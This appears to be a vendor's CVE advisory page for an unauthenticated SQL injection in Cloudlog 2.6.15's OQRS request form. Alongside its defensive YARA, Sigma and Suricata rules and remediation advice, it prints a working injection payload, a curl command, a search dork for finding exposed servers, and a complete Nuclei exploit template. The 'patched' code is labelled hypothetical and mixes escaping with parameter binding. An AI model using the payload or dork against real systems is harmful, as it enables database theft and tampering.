CVE-2024-48259
Executive Summary
CVE-2024-48259 is a critical unauthenticated SQL injection vulnerability in Cloudlog version 2.6.15, a popular amateur radio logging web application. The flaw resides in the oqrs.php file's request_form function, where user-supplied parameters station_id and callsign are not properly sanitized before being used in SQL queries. This allows a remote, unauthenticated attacker to inject arbitrary SQL commands, potentially leading to data theft, modification, or deletion. The vulnerability has a CVSS v3.1 base score of 7.3 (High) and is confirmed exploitable via a publicly available Nuclei template. No official patch has been released at the time of this report.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Cloudlog is a PHP-based web application distributed via GitHub. The vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code-level flaw in the application's source code. Users should monitor the official GitHub repository for patch releases and consider manual input sanitization as a temporary measure.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
- Base Score: 7.3 (High)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure possible.
- Integrity Impact: Low (I:L) – Limited data modification possible.
- Availability Impact: Low (A:L) – Limited service disruption possible.
Threat Level: High. The vulnerability is easy to exploit, requires no authentication, and has a public proof-of-concept. An attacker can extract sensitive data, modify database contents, or cause denial of service.
Deep Dive & Mechanics
The vulnerability exists in the oqrs.php file, specifically in the request_form function. This function handles POST requests to /index.php/oqrs/request_form. The parameters station_id and callsign are directly concatenated into SQL queries without proper sanitization or parameterized statements.
Root Cause: The application uses string interpolation to build SQL queries, e.g.:
$query = "SELECT * FROM table WHERE station_id = " . $_POST['station_id'];
This allows an attacker to inject SQL syntax by providing crafted input.
Attack Flow:
- An attacker sends a POST request to
/index.php/oqrs/request_formwith a maliciousstation_idparameter. - The injected SQL payload (e.g.,
1 AND (SELECT ...)) is executed by the database. - The attacker can extract data via error-based or blind SQL injection techniques.
Example Payload (from Nuclei template):
station_id=1 AND (SELECT 2469 FROM(SELECT COUNT(*),CONCAT(0x7162716b71,md5('999999999'),0x7162716b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
This payload uses a GROUP BY error-based technique to trigger a database error that includes the MD5 hash of a known number, confirming SQL injection.
Vulnerable vs. Patched Code
Vulnerable Code (Cloudlog 2.6.15):
// oqrs.php (simplified)
$station_id = $_POST['station_id'];
$query = "SELECT * FROM oqrs_requests WHERE station_id = $station_id";
$result = $this->db->query($query);
Patched Code (Hypothetical):
// oqrs.php (patched)
$station_id = $this->db->escape($_POST['station_id']);
$query = "SELECT * FROM oqrs_requests WHERE station_id = ?";
$result = $this->db->query($query, array($station_id));
The patched version uses parameterized queries (prepared statements) to prevent SQL injection. The escape() function or binding parameters ensures user input is treated as data, not executable code.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A target running Cloudlog 2.6.15.
- Network access to the web interface.
Exploitation Steps:
- Identify the target: Use Shodan or FOFA with the dork
"Login - Cloudlog". - Send a crafted POST request using curl or Burp Suite:
curl -X POST http://target/index.php/oqrs/request_form \ -d "station_id=1 AND (SELECT 2469 FROM(SELECT COUNT(*),CONCAT(0x7162716b71,md5('999999999'),0x7162716b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)" - Observe the response: If the server returns a 500 error with "A Database Error Occurred" and the MD5 hash
52c69e3a57331081823331c4e69d3b2e(MD5 of '999999999'), the injection is successful. - Extract data using error-based or UNION-based techniques.
Nuclei Template Usage:
nuclei -t CVE-2024-48259.yaml -u http://target
Blue Team (Defensive)
Detection:
- Monitor web server logs for POST requests to
/index.php/oqrs/request_formcontaining SQL keywords (AND, OR, SELECT, UNION, etc.). - Look for HTTP 500 errors with "A Database Error Occurred" in the response body.
- Use the provided YARA/Sigma rules to detect exploitation attempts.
Mitigation:
- Immediately apply input sanitization or parameterized queries to the
oqrs.phpfile. - If a patch is unavailable, consider disabling the OQRS functionality or restricting access via firewall rules.
- Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/index.php/oqrs/request_formwithstation_idorcallsignparameters containing SQL syntax. - HTTP response status code 500 with body containing "A Database Error Occurred".
- POST requests to
- File IOCs:
- Modified database entries in the
oqrs_requeststable. - Unexpected error logs in the application's log directory.
- Modified database entries in the
- Behavioral IOCs:
- Unusual database queries originating from the web server.
- Increased error rates in the application.
Detection Engineering
YARA Rule
rule CVE_2024_48259_Cloudlog_SQLi {
meta:
description = "Detects SQL injection attempts against Cloudlog CVE-2024-48259"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-48259"
strings:
$sqli_pattern1 = /station_id=.*(AND|OR|SELECT|UNION|INSERT|UPDATE|DELETE|DROP|--|#)/ nocase
$sqli_pattern2 = /callsign=.*(AND|OR|SELECT|UNION|INSERT|UPDATE|DELETE|DROP|--|#)/ nocase
$error_msg = "A Database Error Occurred"
condition:
any of ($sqli_pattern*) and $error_msg
}
Sigma Rule
title: Cloudlog SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against Cloudlog CVE-2024-48259
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-48259
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/index.php/oqrs/request_form'
cs-uri-query|contains:
- 'station_id='
- 'callsign='
keywords:
- 'AND'
- 'OR'
- 'SELECT'
- 'UNION'
- 'INSERT'
- 'UPDATE'
- 'DELETE'
- 'DROP'
- '--'
- '#'
condition: selection and keywords
falsepositives:
- Legitimate use of these keywords in callsigns (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-48259 Cloudlog SQL Injection Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/index.php/oqrs/request_form"; http_uri;
content:"station_id="; http_client_body;
pcre:"/(AND|OR|SELECT|UNION|INSERT|UPDATE|DELETE|DROP|--|#)/Pi";
sid:1000001;
rev:1;
reference:cve,2024-48259;
priority:1;
)
Nuclei Template (Provided)
id: CVE-2024-48259
info:
name: Cloudlog - SQL Injection
author: s4e-io
severity: high
description: |
Cloudlog 2.6.15 contains a SQL injection caused by unsanitized input in oqrs.php request_form, letting attackers execute arbitrary SQL commands via station_id or callsign, exploit requires sending crafted request.
impact: |
Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.
remediation: |
Update to the latest version of Cloudlog where this issue is fixed, or sanitize inputs properly.
reference:
- https://chiggerlor.substack.com/p/unauthenticated-sql-injection-in-9a3
- https://github.com/magicbug/Cloudlog
- https://nvd.nist.gov/vuln/detail/CVE-2024-48259
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
cvss-score: 7.3
cve-id: CVE-2024-48259
epss-score: 0.01581
epss-percentile: 0.81787
cwe-id: CWE-89
cpe: cpe:2.3:a:magicbug:cloudlog:2.6.15:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: magicbug
product: cloudlog
fofa-query: "Login - Cloudlog"
tags: cve,cve2024,cloudlog,sqli,vuln,unauth
variables:
num: "999999999"
http:
- raw:
- |
POST /index.php/oqrs/request_form HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
station_id=1 AND (SELECT 2469 FROM(SELECT COUNT(*),CONCAT(0x7162716b71,md5({{num}}),0x7162716b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
matchers:
- type: dsl
dsl:
- 'contains_all(body, "A Database Error Occurred", "{{md5({{num}})}}")'
- 'contains(content_type, "text/html")'
- 'status_code == 500'
condition: and
# digest: 490a004630440220435deea1e04ce8dc297958e8b5b1b7f22b746410e26948c8b0453bfc6c8d431702203bb9c6a1d57b2516d0c352d60f6d81d26f1873db7657bc5fe0313ff70f2f8f1d:922c64590222798bb761d5b6d8e72950
Remediation & Mitigation
Immediate Actions:
- Disable OQRS functionality if not critical for operations.
- Apply input sanitization to
station_idandcallsignparameters inoqrs.php(e.g., useintval()for numeric fields,addslashes()or prepared statements for strings). - Restrict access to the
/index.php/oqrs/request_formendpoint via firewall or.htaccessrules.
Long-term Fix:
- Update to the latest version of Cloudlog once a patch is released.
- Implement parameterized queries (prepared statements) throughout the application.
- Conduct a full security audit of the codebase.
Detection:
- Deploy the provided YARA, Sigma, and Suricata rules.
- Enable detailed logging for web requests and database queries.
- Monitor for anomalous database errors.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.